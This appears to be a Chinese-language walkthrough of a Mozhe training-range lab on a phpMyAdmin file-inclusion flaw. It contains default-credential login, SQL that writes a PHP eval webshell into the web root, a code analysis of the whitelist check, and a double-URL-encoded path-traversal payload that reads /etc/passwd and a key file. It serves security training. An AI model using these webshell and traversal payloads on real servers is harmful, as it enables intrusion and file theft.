07#墨者靶場-phpMyAdmin後臺文件包含分析溯源

                                               墨者學習

                                              By/shy014

地址:https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe

1.在墨者學院找到該靶場並點擊啓動靶場

2.點擊訪問,進入靶場環境,並嘗試默認口令(root,root),登陸成功

3.查看MySQL是否限制導入導

show global variables like '%secure%';

4.查看MySQL日誌狀態

show variables like '%general%';

5.利用日誌文件寫入一句話木馬

開啓general_log :set global general_log='on';


設置日誌寫入文件:

SET global general_log_file='/var/www/html/shy.php';

執行命令,自動寫入日誌:SELECT '<?php @eval($_POST[shy]);?>';

6.訪問日誌文件,由於linux權限限制,禁止訪問,不能執行,個體設立了失敗。

7.嘗試直接通過into outfile寫入一句話木馬,訪問執行成功

select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shy.php';

8.使用菜刀連接,下載存在文件包含的PHP文件index.php進行分析

9.對index.php進行分析,發現第55到63行存在問題

if (! empty($_REQUEST['target'])

判斷非空

&& is_string($_REQUEST['target'])

判斷是否是字符串

&& ! preg_match('/^index/', $_REQUEST['target'])

判斷不能以index開頭

&& ! in_array($_REQUEST['target'], $target_blacklist)

判斷是否在$target_blacklist數組中

&& Core::checkPageValidity($_REQUEST['target'])

判斷是否滿足checkPageValidity()函數

) {

include $_REQUEST['target'];

包含通過判斷的target

    exit;

}

10.找到 $target_blacklist在第50行,只要 target 參數不是 import.php 或 export.php 就可以

11.從菜刀中找到core.php下載並進行分析

 

12.找到checkPageValidity函數,在第443行, 發現checkPageValidity() 函數中有三個地方返回true,這三個地方都是判斷變量$_page的值是否在白名單數組$whitelist

     白名單數組$whitelist的值如下:

checkPageValidity() 函數及分析如下:

public static function checkPageValidity(&$page, array $whitelist = [])

    {

        if (empty($whitelist)) {

            $whitelist = self::$goto_whitelist;

        }

        if (! isset($page) || !is_string($page)) {

            return false;

        }

 

        if (in_array($page, $whitelist)) {

            return true;

這裏是將未經過任何處理的參數$page的值判斷是否在$whitelist白名單中

        }

        $_page = mb_substr(

            $page,

            0,

            mb_strpos($page . '?', '?')

        );

        if (in_array($_page, $whitelist)) {

            return true;

        }

mb_substr() 函數返回字符串的一部分

mb_strpos():返回要查找的字符串在別一個字符串中首次出現的位置

所以這裏就可以通過?/../../../../../../etc/passwd繞過白名單限制

        $_page = urldecode($page);

        $_page = mb_substr(

            $_page,

            0,

            mb_strpos($_page . '?', '?')

        );

        if (in_array($_page, $whitelist)) {

            return true;

        }

這裏多了一個urldecode()函數,可以利用雙重url編碼繞過

可以把?雙重編碼爲%253f進行繞過白名單限制

%253/../../../../../../etc/passwd

 

        return false;

}

根據以上分析可以構建payload進行包含

Payload: db_sql.php%253f%20/../../../../../../要包含的文件

db_sql.php%253f%20是被當作目錄進行上跳

嘗試利用payload包含passwd文件,讀取成功,

http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../etc/passwd

14.包含根目錄下key.txt文件,獲取key值

http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../key.txt

15.提交key值,完成靶機

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章